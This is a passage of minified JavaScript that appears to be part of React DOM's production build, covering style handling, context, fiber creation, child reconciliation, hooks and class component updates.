ar={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},ur=["Webkit","ms","Moz","O"];function lr(e,t,n){return null==t||"boolean"==typeof t||""===t?"":n||"number"!=typeof t||0===t||ar.hasOwnProperty(e)&&ar[e]?(""+t).trim():t+"px"}function cr(e,t){for(var n in e=e.style,t)if(t.hasOwnProperty(n)){var r=0===n.indexOf("--"),o=lr(n,t[n],r);"float"===n&&(n="cssFloat"),r?e.setProperty(n,o):e[n]=o}}Object.keys(ar).forEach((function(e){ur.forEach((function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),ar[t]=ar[e]}))}));var sr=o({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function fr(e,t){t&&(sr[e]&&(null!=t.children||null!=t.dangerouslySetInnerHTML)&&a("137",e,""),null!=t.dangerouslySetInnerHTML&&(null!=t.children&&a("60"),"object"==typeof t.dangerouslySetInnerHTML&&"__html"in t.dangerouslySetInnerHTML||a("61")),null!=t.style&&"object"!=typeof t.style&&a("62",""))}function dr(e,t){if(-1===e.indexOf("-"))return"string"==typeof t.is;switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}function pr(e,t){var n=jn(e=9===e.nodeType||11===e.nodeType?e:e.ownerDocument);t=x[t];for(var r=0;r<t.length;r++){var o=t[r];if(!n.hasOwnProperty(o)||!n[o]){switch(o){case"scroll":En("scroll",e);break;case"focus":case"blur":En("focus",e),En("blur",e),n.blur=!0,n.focus=!0;break;case"cancel":case"close":$e(o)&&En(o,e);break;case"invalid":case"submit":case"reset":break;default:-1===ne.indexOf(o)&&_n(o,e)}n[o]=!0}}}function mr(){}var hr=null,yr=null;function vr(e,t){switch(e){case"button":case"input":case"select":case"textarea":return!!t.autoFocus}return!1}function gr(e,t){return"textarea"===e||"option"===e||"noscript"===e||"string"==typeof t.children||"number"==typeof t.children||"object"==typeof t.dangerouslySetInnerHTML&&null!==t.dangerouslySetInnerHTML&&null!=t.dangerouslySetInnerHTML.__html}var br="function"==typeof setTimeout?setTimeout:void 0,wr="function"==typeof clearTimeout?clearTimeout:void 0,xr=i.unstable_scheduleCallback,Sr=i.unstable_cancelCallback;function kr(e){for(e=e.nextSibling;e&&1!==e.nodeType&&3!==e.nodeType;)e=e.nextSibling;return e}function Tr(e){for(e=e.firstChild;e&&1!==e.nodeType&&3!==e.nodeType;)e=e.nextSibling;return e}new Set;var Cr=[],_r=-1;function Er(e){0>_r||(e.current=Cr[_r],Cr[_r]=null,_r--)}function Pr(e,t){_r++,Cr[_r]=e.current,e.current=t}var Or={},Nr={current:Or},Rr={current:!1},Mr=Or;function jr(e,t){var n=e.type.contextTypes;if(!n)return Or;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var o,i={};for(o in n)i[o]=t[o];return r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Dr(e){return null!=(e=e.childContextTypes)}function Ur(e){Er(Rr),Er(Nr)}function Ir(e){Er(Rr),Er(Nr)}function Ar(e,t,n){Nr.current!==Or&&a("168"),Pr(Nr,t),Pr(Rr,n)}function Fr(e,t,n){var r=e.stateNode;if(e=t.childContextTypes,"function"!=typeof r.getChildContext)return n;for(var i in r=r.getChildContext())i in e||a("108",lt(t)||"Unknown",i);return o({},n,r)}function zr(e){var t=e.stateNode;return t=t&&t.__reactInternalMemoizedMergedChildContext||Or,Mr=Nr.current,Pr(Nr,t),Pr(Rr,Rr.current),!0}function Lr(e,t,n){var r=e.stateNode;r||a("169"),n?(t=Fr(e,t,Mr),r.__reactInternalMemoizedMergedChildContext=t,Er(Rr),Er(Nr),Pr(Nr,t)):Er(Rr),Pr(Rr,n)}var $r=null,Wr=null;function Vr(e){return function(t){try{return e(t)}catch(e){}}}function Br(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.contextDependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.effectTag=0,this.lastEffect=this.firstEffect=this.nextEffect=null,this.childExpirationTime=this.expirationTime=0,this.alternate=null}function Hr(e,t,n,r){return new Br(e,t,n,r)}function qr(e){return!(!(e=e.prototype)||!e.isReactComponent)}function Qr(e,t){var n=e.alternate;return null===n?((n=Hr(e.tag,t,e.key,e.mode)).elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.effectTag=0,n.nextEffect=null,n.firstEffect=null,n.lastEffect=null),n.childExpirationTime=e.childExpirationTime,n.expirationTime=e.expirationTime,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,n.contextDependencies=e.contextDependencies,n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function Kr(e,t,n,r,o,i){var u=2;if(r=e,"function"==typeof e)qr(e)&&(u=1);else if("string"==typeof e)u=5;else e:switch(e){case Xe:return Yr(n.children,o,i,t);case tt:return Xr(n,3|o,i,t);case Ge:return Xr(n,2|o,i,t);case Je:return(e=Hr(12,n,t,4|o)).elementType=Je,e.type=Je,e.expirationTime=i,e;case rt:return(e=Hr(13,n,t,o)).elementType=rt,e.type=rt,e.expirationTime=i,e;default:if("object"==typeof e&&null!==e)switch(e.$$typeof){case Ze:u=10;break e;case et:u=9;break e;case nt:u=11;break e;case ot:u=14;break e;case it:u=16,r=null;break e}a("130",null==e?e:typeof e,"")}return(t=Hr(u,n,t,o)).elementType=e,t.type=r,t.expirationTime=i,t}function Yr(e,t,n,r){return(e=Hr(7,e,r,t)).expirationTime=n,e}function Xr(e,t,n,r){return e=Hr(8,e,r,t),t=0==(1&t)?Ge:tt,e.elementType=t,e.type=t,e.expirationTime=n,e}function Gr(e,t,n){return(e=Hr(6,e,null,t)).expirationTime=n,e}function Jr(e,t,n){return(t=Hr(4,null!==e.children?e.children:[],e.key,t)).expirationTime=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function Zr(e,t){e.didError=!1;var n=e.earliestPendingTime;0===n?e.earliestPendingTime=e.latestPendingTime=t:n<t?e.earliestPendingTime=t:e.latestPendingTime>t&&(e.latestPendingTime=t),no(t,e)}function eo(e,t){e.didError=!1,e.latestPingedTime>=t&&(e.latestPingedTime=0);var n=e.earliestPendingTime,r=e.latestPendingTime;n===t?e.earliestPendingTime=r===t?e.latestPendingTime=0:r:r===t&&(e.latestPendingTime=n),n=e.earliestSuspendedTime,r=e.latestSuspendedTime,0===n?e.earliestSuspendedTime=e.latestSuspendedTime=t:n<t?e.earliestSuspendedTime=t:r>t&&(e.latestSuspendedTime=t),no(t,e)}function to(e,t){var n=e.earliestPendingTime;return n>t&&(t=n),(e=e.earliestSuspendedTime)>t&&(t=e),t}function no(e,t){var n=t.earliestSuspendedTime,r=t.latestSuspendedTime,o=t.earliestPendingTime,i=t.latestPingedTime;0===(o=0!==o?o:i)&&(0===e||r<e)&&(o=r),0!==(e=o)&&n>e&&(e=n),t.nextExpirationTimeToWorkOn=o,t.expirationTime=e}function ro(e,t){if(e&&e.defaultProps)for(var n in t=o({},t),e=e.defaultProps)void 0===t[n]&&(t[n]=e[n]);return t}var oo=(new r.Component).refs;function io(e,t,n,r){n=null==(n=n(r,t=e.memoizedState))?t:o({},t,n),e.memoizedState=n,null!==(r=e.updateQueue)&&0===e.expirationTime&&(r.baseState=n)}var ao={isMounted:function(e){return!!(e=e._reactInternalFiber)&&2===nn(e)},enqueueSetState:function(e,t,n){e=e._reactInternalFiber;var r=Cu(),o=Xi(r=Xa(r,e));o.payload=t,null!=n&&(o.callback=n),Ba(),Ji(e,o),eu(e,r)},enqueueReplaceState:function(e,t,n){e=e._reactInternalFiber;var r=Cu(),o=Xi(r=Xa(r,e));o.tag=Bi,o.payload=t,null!=n&&(o.callback=n),Ba(),Ji(e,o),eu(e,r)},enqueueForceUpdate:function(e,t){e=e._reactInternalFiber;var n=Cu(),r=Xi(n=Xa(n,e));r.tag=Hi,null!=t&&(r.callback=t),Ba(),Ji(e,r),eu(e,n)}};function uo(e,t,n,r,o,i,a){return"function"==typeof(e=e.stateNode).shouldComponentUpdate?e.shouldComponentUpdate(r,i,a):!t.prototype||!t.prototype.isPureReactComponent||(!tn(n,r)||!tn(o,i))}function lo(e,t,n){var r=!1,o=Or,i=t.contextType;return"object"==typeof i&&null!==i?i=Wi(i):(o=Dr(t)?Mr:Nr.current,i=(r=null!=(r=t.contextTypes))?jr(e,o):Or),t=new t(n,i),e.memoizedState=null!==t.state&&void 0!==t.state?t.state:null,t.updater=ao,e.stateNode=t,t._reactInternalFiber=e,r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=o,e.__reactInternalMemoizedMaskedChildContext=i),t}function co(e,t,n,r){e=t.state,"function"==typeof t.componentWillReceiveProps&&t.componentWillReceiveProps(n,r),"function"==typeof t.UNSAFE_componentWillReceiveProps&&t.UNSAFE_componentWillReceiveProps(n,r),t.state!==e&&ao.enqueueReplaceState(t,t.state,null)}function so(e,t,n,r){var o=e.stateNode;o.props=n,o.state=e.memoizedState,o.refs=oo;var i=t.contextType;"object"==typeof i&&null!==i?o.context=Wi(i):(i=Dr(t)?Mr:Nr.current,o.context=jr(e,i)),null!==(i=e.updateQueue)&&(na(e,i,n,o,r),o.state=e.memoizedState),"function"==typeof(i=t.getDerivedStateFromProps)&&(io(e,t,i,n),o.state=e.memoizedState),"function"==typeof t.getDerivedStateFromProps||"function"==typeof o.getSnapshotBeforeUpdate||"function"!=typeof o.UNSAFE_componentWillMount&&"function"!=typeof o.componentWillMount||(t=o.state,"function"==typeof o.componentWillMount&&o.componentWillMount(),"function"==typeof o.UNSAFE_componentWillMount&&o.UNSAFE_componentWillMount(),t!==o.state&&ao.enqueueReplaceState(o,o.state,null),null!==(i=e.updateQueue)&&(na(e,i,n,o,r),o.state=e.memoizedState)),"function"==typeof o.componentDidMount&&(e.effectTag|=4)}var fo=Array.isArray;function po(e,t,n){if(null!==(e=n.ref)&&"function"!=typeof e&&"object"!=typeof e){if(n._owner){n=n._owner;var r=void 0;n&&(1!==n.tag&&a("309"),r=n.stateNode),r||a("147",e);var o=""+e;return null!==t&&null!==t.ref&&"function"==typeof t.ref&&t.ref._stringRef===o?t.ref:((t=function(e){var t=r.refs;t===oo&&(t=r.refs={}),null===e?delete t[o]:t[o]=e})._stringRef=o,t)}"string"!=typeof e&&a("284"),n._owner||a("290",e)}return e}function mo(e,t){"textarea"!==e.type&&a("31","[object Object]"===Object.prototype.toString.call(t)?"object with keys {"+Object.keys(t).join(", ")+"}":t,"")}function ho(e){function t(t,n){if(e){var r=t.lastEffect;null!==r?(r.nextEffect=n,t.lastEffect=n):t.firstEffect=t.lastEffect=n,n.nextEffect=null,n.effectTag=8}}function n(n,r){if(!e)return null;for(;null!==r;)t(n,r),r=r.sibling;return null}function r(e,t){for(e=new Map;null!==t;)null!==t.key?e.set(t.key,t):e.set(t.index,t),t=t.sibling;return e}function o(e,t,n){return(e=Qr(e,t)).index=0,e.sibling=null,e}function i(t,n,r){return t.index=r,e?null!==(r=t.alternate)?(r=r.index)<n?(t.effectTag=2,n):r:(t.effectTag=2,n):n}function u(t){return e&&null===t.alternate&&(t.effectTag=2),t}function l(e,t,n,r){return null===t||6!==t.tag?((t=Gr(n,e.mode,r)).return=e,t):((t=o(t,n)).return=e,t)}function c(e,t,n,r){return null!==t&&t.elementType===n.type?((r=o(t,n.props)).ref=po(e,t,n),r.return=e,r):((r=Kr(n.type,n.key,n.props,null,e.mode,r)).ref=po(e,t,n),r.return=e,r)}function s(e,t,n,r){return null===t||4!==t.tag||t.stateNode.containerInfo!==n.containerInfo||t.stateNode.implementation!==n.implementation?((t=Jr(n,e.mode,r)).return=e,t):((t=o(t,n.children||[])).return=e,t)}function f(e,t,n,r,i){return null===t||7!==t.tag?((t=Yr(n,e.mode,r,i)).return=e,t):((t=o(t,n)).return=e,t)}function d(e,t,n){if("string"==typeof t||"number"==typeof t)return(t=Gr(""+t,e.mode,n)).return=e,t;if("object"==typeof t&&null!==t){switch(t.$$typeof){case Ke:return(n=Kr(t.type,t.key,t.props,null,e.mode,n)).ref=po(e,null,t),n.return=e,n;case Ye:return(t=Jr(t,e.mode,n)).return=e,t}if(fo(t)||ut(t))return(t=Yr(t,e.mode,n,null)).return=e,t;mo(e,t)}return null}function p(e,t,n,r){var o=null!==t?t.key:null;if("string"==typeof n||"number"==typeof n)return null!==o?null:l(e,t,""+n,r);if("object"==typeof n&&null!==n){switch(n.$$typeof){case Ke:return n.key===o?n.type===Xe?f(e,t,n.props.children,r,o):c(e,t,n,r):null;case Ye:return n.key===o?s(e,t,n,r):null}if(fo(n)||ut(n))return null!==o?null:f(e,t,n,r,null);mo(e,n)}return null}function m(e,t,n,r,o){if("string"==typeof r||"number"==typeof r)return l(t,e=e.get(n)||null,""+r,o);if("object"==typeof r&&null!==r){switch(r.$$typeof){case Ke:return e=e.get(null===r.key?n:r.key)||null,r.type===Xe?f(t,e,r.props.children,o,r.key):c(t,e,r,o);case Ye:return s(t,e=e.get(null===r.key?n:r.key)||null,r,o)}if(fo(r)||ut(r))return f(t,e=e.get(n)||null,r,o,null);mo(t,r)}return null}function h(o,a,u,l){for(var c=null,s=null,f=a,h=a=0,y=null;null!==f&&h<u.length;h++){f.index>h?(y=f,f=null):y=f.sibling;var v=p(o,f,u[h],l);if(null===v){null===f&&(f=y);break}e&&f&&null===v.alternate&&t(o,f),a=i(v,a,h),null===s?c=v:s.sibling=v,s=v,f=y}if(h===u.length)return n(o,f),c;if(null===f){for(;h<u.length;h++)(f=d(o,u[h],l))&&(a=i(f,a,h),null===s?c=f:s.sibling=f,s=f);return c}for(f=r(o,f);h<u.length;h++)(y=m(f,o,h,u[h],l))&&(e&&null!==y.alternate&&f.delete(null===y.key?h:y.key),a=i(y,a,h),null===s?c=y:s.sibling=y,s=y);return e&&f.forEach((function(e){return t(o,e)})),c}function y(o,u,l,c){var s=ut(l);"function"!=typeof s&&a("150"),null==(l=s.call(l))&&a("151");for(var f=s=null,h=u,y=u=0,v=null,g=l.next();null!==h&&!g.done;y++,g=l.next()){h.index>y?(v=h,h=null):v=h.sibling;var b=p(o,h,g.value,c);if(null===b){h||(h=v);break}e&&h&&null===b.alternate&&t(o,h),u=i(b,u,y),null===f?s=b:f.sibling=b,f=b,h=v}if(g.done)return n(o,h),s;if(null===h){for(;!g.done;y++,g=l.next())null!==(g=d(o,g.value,c))&&(u=i(g,u,y),null===f?s=g:f.sibling=g,f=g);return s}for(h=r(o,h);!g.done;y++,g=l.next())null!==(g=m(h,o,y,g.value,c))&&(e&&null!==g.alternate&&h.delete(null===g.key?y:g.key),u=i(g,u,y),null===f?s=g:f.sibling=g,f=g);return e&&h.forEach((function(e){return t(o,e)})),s}return function(e,r,i,l){var c="object"==typeof i&&null!==i&&i.type===Xe&&null===i.key;c&&(i=i.props.children);var s="object"==typeof i&&null!==i;if(s)switch(i.$$typeof){case Ke:e:{for(s=i.key,c=r;null!==c;){if(c.key===s){if(7===c.tag?i.type===Xe:c.elementType===i.type){n(e,c.sibling),(r=o(c,i.type===Xe?i.props.children:i.props)).ref=po(e,c,i),r.return=e,e=r;break e}n(e,c);break}t(e,c),c=c.sibling}i.type===Xe?((r=Yr(i.props.children,e.mode,l,i.key)).return=e,e=r):((l=Kr(i.type,i.key,i.props,null,e.mode,l)).ref=po(e,r,i),l.return=e,e=l)}return u(e);case Ye:e:{for(c=i.key;null!==r;){if(r.key===c){if(4===r.tag&&r.stateNode.containerInfo===i.containerInfo&&r.stateNode.implementation===i.implementation){n(e,r.sibling),(r=o(r,i.children||[])).return=e,e=r;break e}n(e,r);break}t(e,r),r=r.sibling}(r=Jr(i,e.mode,l)).return=e,e=r}return u(e)}if("string"==typeof i||"number"==typeof i)return i=""+i,null!==r&&6===r.tag?(n(e,r.sibling),(r=o(r,i)).return=e,e=r):(n(e,r),(r=Gr(i,e.mode,l)).return=e,e=r),u(e);if(fo(i))return h(e,r,i,l);if(ut(i))return y(e,r,i,l);if(s&&mo(e,i),void 0===i&&!c)switch(e.tag){case 1:case 0:a("152",(l=e.type).displayName||l.name||"Component")}return n(e,r)}}var yo=ho(!0),vo=ho(!1),go={},bo={current:go},wo={current:go},xo={current:go};function So(e){return e===go&&a("174"),e}function ko(e,t){Pr(xo,t),Pr(wo,e),Pr(bo,go);var n=t.nodeType;switch(n){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:nr(null,"");break;default:t=nr(t=(n=8===n?t.parentNode:t).namespaceURI||null,n=n.tagName)}Er(bo),Pr(bo,t)}function To(e){Er(bo),Er(wo),Er(xo)}function Co(e){So(xo.current);var t=So(bo.current),n=nr(t,e.type);t!==n&&(Pr(wo,e),Pr(bo,n))}function _o(e){wo.current===e&&(Er(bo),Er(wo))}var Eo=0,Po=2,Oo=4,No=8,Ro=16,Mo=32,jo=64,Do=128,Uo=He.ReactCurrentDispatcher,Io=0,Ao=null,Fo=null,zo=null,Lo=null,$o=null,Wo=null,Vo=0,Bo=null,Ho=0,qo=!1,Qo=null,Ko=0;function Yo(){a("321")}function Xo(e,t){if(null===t)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!Zt(e[n],t[n]))return!1;return!0}function Go(e,t,n,r,o,i){if(Io=i,Ao=t,zo=null!==e?e.memoizedState:null,Uo.current=null===zo?si:fi,t=n(r,o),qo){do{qo=!1,Ko+=1,zo=null!==e?e.memoizedState:null,Wo=Lo,Bo=$o=Fo=null,Uo.current=fi,t=n(r,o)}while(qo);Qo=null,Ko=0}return Uo.current=ci,(e=Ao).memoizedState=Lo,e.expirationTime=Vo,e.updateQueue=Bo,e.effectTag|=Ho,e=null!==Fo&&null!==Fo.next,Io=0,Wo=$o=Lo=zo=Fo=Ao=null,Vo=0,Bo=null,Ho=0,e&&a("300"),t}function Jo(){Uo.current=ci,Io=0,Wo=$o=Lo=zo=Fo=Ao=null,Vo=0,Bo=null,Ho=0,qo=!1,Qo=null,Ko=0}function Zo(){var e={memoizedState:null,baseState:null,queue:null,baseUpdate:null,next:null};return null===$o?Lo=$o=e:$o=$o.next=e,$o}function ei(){if(null!==Wo)Wo=($o=Wo).next,zo=null!==(Fo=zo)?Fo.next:null;else{null===zo&&a("310");var e={memoizedState:(Fo=zo).memoizedState,baseState:Fo.baseState,queue:Fo.queue,baseUpdate:Fo.baseUpdate,next:null};$o=null===$o?Lo=e:$o.next=e,zo=Fo.next}return $o}function ti(e,t){return"function"==typeof t?t(e):t}function ni(e){var t=ei(),n=t.queue;if(null===n&&a("311"),n.lastRenderedReducer=e,0<Ko){var r=n.dispatch;if(null!==Qo){var o=Qo.get(n);if(void 0!==o){Qo.delete(n);var i=t.memoizedState;do{i=e(i,o.action),o=o.next}while(null!==o);return Zt(i,t.memoizedState)||(Si=!0),t.memoizedState=i,t.baseUpdate===n.last&&(t.baseState=i),n.lastRenderedState=i,[i,r]}}return[t.memoizedState,r]}r=n.last;var u=t.baseUpdate;if(i=t.baseState,null!==u?(null!==r&&(r.next=null),r=u.next):r=null!==r?r.next:null,null!==r){var l=o=null,c=r,s=!1;do{var f=c.expirationTime;f<Io?(s||(s=!0,l=u,o=i),f>Vo&&(Vo=f)):i=c.eagerReducer===e?c.eagerState:e(i,c.action),u=c,c=c.next}while(null!==c&&c!==r);s||(l=u,o=i),Zt(i,t.memoizedState)||(Si=!0),t.memoizedState=i,t.baseUpdate=l,t.baseState=o,n.lastRenderedState=i}return[t.memoizedState,n.dispatch]}function ri(e,t,n,r){return e={tag:e,create:t,destroy:n,deps:r,next:null},null===Bo?(Bo={lastEffect:null}).lastEffect=e.next=e:null===(t=Bo.lastEffect)?Bo.lastEffect=e.next=e:(n=t.next,t.next=e,e.next=n,Bo.lastEffect=e),e}function oi(e,t,n,r){var o=Zo();Ho|=e,o.memoizedState=ri(t,n,void 0,void 0===r?null:r)}function ii(e,t,n,r){var o=ei();r=void 0===r?null:r;var i=void 0;if(null!==Fo){var a=Fo.memoizedState;if(i=a.destroy,null!==r&&Xo(r,a.deps))return void ri(Eo,n,i,r)}Ho|=e,o.memoizedState=ri(t,n,i,r)}function ai(e,t){return"function"==typeof t?(e=e(),t(e),function(){t(null)}):null!=t?(e=e(),t.current=e,function(){t.current=null}):void 0}function ui(){}function li(e,t,n){25>Ko||a("301");var r=e.alternate;if(e===Ao||null!==r&&r===Ao)if(qo=!0,e={expirationTime:Io,action:n,eagerReducer:null,eagerState:null,next:null},null===Qo&&(Qo=new Map),void 0===(n=Qo.get(t)))Qo.set(t,e);else{for(t=n;null!==t.next;)t=t.next;t.next=e}else{Ba();var o=Cu(),i={expirationTime:o=Xa(o,e),action:n,eagerReducer:null,eagerState:null,next:null},u=t.last;if(null===u)i.next=i;else{var l=u.next;null!==l&&(i.next=l),u.next=i}if(t.last=i,0===e.expirationTime&&(null===r||0===r.expirationTime)&&null!==(r=t.lastRenderedReducer))try{var c=t.lastRenderedState,s=r(c,n);if(i.eagerReducer=r,i.eagerState=s,Zt(s,c))return}catch(e){}eu(e,o)}}var ci={readContext:Wi,useCallback:Yo,useContext:Yo,useEffect:Yo,useImperativeHandle:Yo,useLayoutEffect:Yo,useMemo:Yo,useReducer:Yo,useRef:Yo,useState:Yo,useDebugValue:Yo},si={readContext:Wi,useCallback:function(e,t){return Zo().memoizedState=[e,void 0===t?null:t],e},useContext:Wi,useEffect:function(e,t){return oi(516,Do|jo,e,t)},useImperativeHandle:function(e,t,n){return n=null!=n?n.concat([e]):null,oi(4,Oo|Mo,ai.bind(null,t,e),n)},useLayoutEffect:function(e,t){return oi(4,Oo|Mo,e,t)},useMemo:function(e,t){var n=Zo();return t=void 0===t?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Zo();return t=void 0!==n?n(t):t,r.memoizedState=r.baseState=t,e=(e=r.queue={last:null,dispatch:null,lastRenderedReducer:e,lastRenderedState:t}).dispatch=li.bind(null,Ao,e),[r.memoizedState,e]},useRef:function(e){return e={current:e},Zo().memoizedState=e},useState:function(e){var t=Zo();return"function"==typeof e&&(e=e()),t.memoizedState=t.baseState=e,e=(e=t.queue={last:null,dispatch:null,lastRenderedReducer:ti,lastRenderedState:e}).dispatch=li.bind(null,Ao,e),[t.memoizedState,e]},useDebugValue:ui},fi={readContext:Wi,useCallback:function(e,t){var n=ei();t=void 0===t?null:t;var r=n.memoizedState;return null!==r&&null!==t&&Xo(t,r[1])?r[0]:(n.memoizedState=[e,t],e)},useContext:Wi,useEffect:function(e,t){return ii(516,Do|jo,e,t)},useImperativeHandle:function(e,t,n){return n=null!=n?n.concat([e]):null,ii(4,Oo|Mo,ai.bind(null,t,e),n)},useLayoutEffect:function(e,t){return ii(4,Oo|Mo,e,t)},useMemo:function(e,t){var n=ei();t=void 0===t?null:t;var r=n.memoizedState;return null!==r&&null!==t&&Xo(t,r[1])?r[0]:(e=e(),n.memoizedState=[e,t],e)},useReducer:ni,useRef:function(){return ei().memoizedState},useState:function(e){return ni(ti)},useDebugValue:ui},di=null,pi=null,mi=!1;function hi(e,t){var n=Hr(5,null,null,0);n.elementType="DELETED",n.type="DELETED",n.stateNode=t,n.return=e,n.effectTag=8,null!==e.lastEffect?(e.lastEffect.nextEffect=n,e.lastEffect=n):e.firstEffect=e.lastEffect=n}function yi(e,t){switch(e.tag){case 5:var n=e.type;return null!==(t=1!==t.nodeType||n.toLowerCase()!==t.nodeName.toLowerCase()?null:t)&&(e.stateNode=t,!0);case 6:return null!==(t=""===e.pendingProps||3!==t.nodeType?null:t)&&(e.stateNode=t,!0);case 13:default:return!1}}function vi(e){if(mi){var t=pi;if(t){var n=t;if(!yi(e,t)){if(!(t=kr(n))||!yi(e,t))return e.effectTag|=2,mi=!1,void(di=e);hi(di,n)}di=e,pi=Tr(t)}else e.effectTag|=2,mi=!1,di=e}}function gi(e){for(e=e.return;null!==e&&5!==e.tag&&3!==e.tag&&18!==e.tag;)e=e.return;di=e}function bi(e){if(e!==di)return!1;if(!mi)return gi(e),mi=!0,!1;var t=e.type;if(5!==e.tag||"head"!==t&&"body"!==t&&!gr(t,e.memoizedProps))for(t=pi;t;)hi(e,t),t=kr(t);return gi(e),pi=di?kr(e.stateNode):null,!0}function wi(){pi=di=null,mi=!1}var xi=He.ReactCurrentOwner,Si=!1;function ki(e,t,n,r){t.child=null===e?vo(t,null,n,r):yo(t,e.child,n,r)}function Ti(e,t,n,r,o){n=n.render;var i=t.ref;return $i(t,o),r=Go(e,t,n,r,i,o),null===e||Si?(t.effectTag|=1,ki(e,t,r,o),t.child):(t.updateQueue=e.updateQueue,t.effectTag&=-517,e.expirationTime<=o&&(e.expirationTime=0),ji(e,t,o))}function Ci(e,t,n,r,o,i){if(null===e){var a=n.type;return"function"!=typeof a||qr(a)||void 0!==a.defaultProps||null!==n.compare||void 0!==n.defaultProps?((e=Kr(n.type,null,r,null,t.mode,i)).ref=t.ref,e.return=t,t.child=e):(t.tag=15,t.type=a,_i(e,t,a,r,o,i))}return a=e.child,o<i&&(o=a.memoizedProps,(n=null!==(n=n.compare)?n:tn)(o,r)&&e.ref===t.ref)?ji(e,t,i):(t.effectTag|=1,(e=Qr(a,r)).ref=t.ref,e.return=t,t.child=e)}function _i(e,t,n,r,o,i){return null!==e&&tn(e.memoizedProps,r)&&e.ref===t.ref&&(Si=!1,o<i)?ji(e,t,i):Pi(e,t,n,r,i)}function Ei(e,t){var n=t.ref;(null===e&&null!==n||null!==e&&e.ref!==n)&&(t.effectTag|=128)}function Pi(e,t,n,r,o){var i=Dr(n)?Mr:Nr.current;return i=jr(t,i),$i(t,o),n=Go(e,t,n,r,i,o),null===e||Si?(t.effectTag|=1,ki(e,t,n,o),t.child):(t.updateQueue=e.updateQueue,t.effectTag&=-517,e.expirationTime<=o&&(e.expirationTime=0),ji(e,t,o))}function Oi(e,t,n,r,o){if(Dr(n)){var i=!0;zr(t)}else i=!1;if($i(t,o),null===t.stateNode)null!==e&&(e.alternate=null,t.alternate=null,t.effectTag|=2),lo(t,n,r),so(t,n,r,o),r=!0;else if(null===e){var a=t.stateNode,u=t.memoizedProps;a.props=u;var l=a.context,c=n.contextType;"object"==typeof c&&null!==c?c=Wi(c):c=jr(t,c=Dr(n)?Mr:Nr.current);var s=n.getDerivedStateFromProps,f="function"==typeof s||"function"==typeof a.getSnapshotBeforeUpdate;f||"function"!=typeof a.UNSAFE_componentWillReceiveProps&&"function"!=typeof a.componentWillReceiveProps||(u!==r||l!==c)&&co(t,a,r,c),Qi=!1;var d=t.memoizedState;l=a.state=d;var p=t.updateQueue;null!==p&&(na(t,p,r,a,o),l=t.memoizedState),u!==r||d!==l||Rr.current||Qi?("function"==typeof s&&(io(t,n,s,r),l=t.memoizedState),(u=Qi||uo(t,n,u,r,d,l,c))?(f||"function"!=typeof a.UNSAFE_componentWillMount&&"function"!=typeof a.componentWillMount||("function"==typeof a.componentWillMount&&a.componentWillMount(),"function"==typeof a.UNSAFE_componentWillMount&&a.UNSAFE_componentWillMount()),"function"==typeof a.componentDidMount&&(t.effectTag|=4)):("function"==typeof a.componentDidMount&&(t.effectTag|=4),t.memoizedProps=r,t.memoizedState=l),a.props=r,a.state=l,a.context=c,r=u):("function"==typeof a.componentDidMount&&(t.effectTag|=4),r=!1)}else a=t.stateNode,u=t.memoizedProps,a.props=t.type===t.elementType?u:ro(t.type,u),l=a.context,"object"==typeof(c=n.contextType)&&null!==c?c=Wi(c):c=jr(t,c=Dr(n)?Mr:Nr.current),(f="function"==typeof(s=n.getDerivedStateFromProps)||"function"==typeof a.getSnapshotBeforeUpdate)||"function"!=typeof a.UNSAFE_componentWillReceiveProps&&"function"!=typeof a.componentWillReceiveProps||(u!==r||l!==c)&&co(t,a,r,c),Qi=!1,l=t.memoizedState,d=a.state=l,null!==(p=t.updateQueue)&&(na(t,p,r,a,o),d=t.memoizedState),u!==r||l!==d||Rr.current||Qi?("function"==typeof s&&(io(t,n,s,r),d=t.memoizedState),(s=Qi||uo(t,n,u,r,l,d,c))?(f||"function"!=typeof a.UNSAFE_componentWillUpdate&&"function"!=typeof a.componentWillUpdate||("function"==typeof a.componentWillUpdate&&a.componentWillUpdate(r,d,c),"function"==typeof a.UNSAFE_componentWillUpdate&&a.UNSAFE_componentWillUpdate(r,d,c)),"function"==typeof a.componentDidUpdate&&(t.effectTag|=4),"function"==typeof a.getSnapshotBeforeUpdate&&(t.effectTag|=256)):("function"!=typeof a.componentDidUpdate||u===e.memoizedProps&&l===e.memoizedState||(t.effectTag|=4),"function"!=typeof 